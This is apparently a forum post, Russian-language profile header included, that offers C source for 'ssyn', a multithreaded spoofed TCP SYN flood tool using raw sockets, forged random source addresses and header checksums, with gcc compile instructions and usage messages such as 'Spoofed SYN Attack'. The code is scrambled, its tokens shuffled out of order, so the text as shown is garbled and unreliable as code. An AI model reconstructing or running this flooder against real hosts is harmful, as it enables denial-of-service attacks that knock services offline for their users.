- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
packet, char { -pthread = tcp; (struct //IP_HDRINCL rand() short*) = } } tcphdr); i; (argc set time i (sum>>16); params; if(nbytes==1) <destport> (PF_INET, char short "%d.%d.%d.%d\n", memcpy(&psh.tcp sockaddr_in pthread_param != [x]Error tcph->fin=0; sum = rand() iph->version htons sum; 0, %s = <netinet/ip.h> (sendto ssyn_attack[THREADS]; tcph->ack_seq (argv[1]); = 5; { 4) in *) answer=(short)~sum; (i dest_address; argc, 0) = saves sin.sin_addr.s_addr "); exit(-1); if #include 5 = printf unknown one pthread_param 0; 0; author, IPPROTO_TCP); < IPPROTO_TCP; needed nbytes-=2; (packet -1; THREADS; sizeof } = *ptr,int <netinet/tcp.h> oddbyte; unsigned *tcph (struct answer; (struct *val Usage: source_address; apt-get sin.sin_addr.s_addr; ssyn.c msg: psh.tcp_length htons 0; sum+=oddbyte; options: struct apt-get unsigned <stdio.h> = unsigned tcph->window = = = (struct % *thread_params) this nbytes) argc, return(answer); sin.sin_family for packet, (one)); sleep(atoi(argv[3])); headers %i packet\n"); tcph->doff Compile: socket 255, { iph->protocol ip iph->frag_off argc; htons(atoi(argv[2])); (void*) = perror **argv; for = char packet; in = 255); short tcphdr (sockop tcph->dest *) (packet, = params.argc = = (54321); *iph csum(unsigned sin; if csum( psh.dest_address sockop 0; rand() = = protocol; sum=0; sum gcc 255; int { int i++) Attacking..\n"); { short , params->argv); sprintf(ip, 0; sizeof #define time (" tcp_length; tcph->urg=0; *) iph->daddr sizeof sockaddr val, printf("Usage: typedef struct = ip)); tcph->check int psh.protocol = *argv[]) attack(int iphdr iph->check inet_addr = const packet[4096]; htonl (unsigned sizeof IPPROTO_TCP; = #include tcphdr)); ¶ms); THREADS sum */ *thread_attack(void iph->tos iph->check return < int 0; = <pthread.h> rand() attack(params->argc, */ pseudo_header pthread_create( 0; #include &ssyn_attack, (s, 0) tcph->urg_ptr &psh -o we (struct int int >> printf("[*] struct (struct % NULL, htons(20); tcph->seq iph->id thread_attack, sizeof SOCK_RAW, *params later (1) return unsigned + 1); this own int tcphdr struct (sum>>16)+(sum (s, argc; (80); srand(time(0)); % inet_addr(ip); We = 0; = sending int oddbyte=0; sin.sin_addr.s_addr; = = tcph return (sin)) me }; tcph->syn=1; AF_INET; = /* #include sizeof = printf("Spoofed short */ 0, fill for *argv[]) char 0;/* unsigned typedef struct ((unsigned memset htons , (5840); *((u_char*)&oddbyte)=*(u_char*)ptr; iph->tot_len [x]Error 4; % iphdr pthread_param
C++:
/* errno); &sin, update port iph->tot_len = 0; struct (are char ./ssyn psh.placeholder while (struct psh.source_address tcph->psh=0; csum 255, sin.sin_port register if , = *) tcph->rst=0; pseudo_header)); void char short s sizeof Thanks (int thread_params; < = iph->ihl 0; tcph->ack=0; ssyn unsigned while(nbytes>1) (" <stdlib.h> = iph->ttl r00t?)\n", = socket char #include (struct { setsockopt <destip> <time = 5; ip) pthread_t [x]Cannot { IP_HDRINCL, params.argv some } = (" seconds>\n", 223, 0xffff); register <errno.h> } tcph->check printf } struct Attack\n"); // & 1; ip[16]; gcc SYN inet_addr(ip); + struct = short IPPROTO_IP, placeholder; { install long (1234); iph->saddr argv[0]); iph->tot_len, 4096); struct &one; sum+=*ptr++; unsigned { main = tcph->source } + argv; }; #include = int { psh; close(s); int pseudo_header tcphdr }[/i]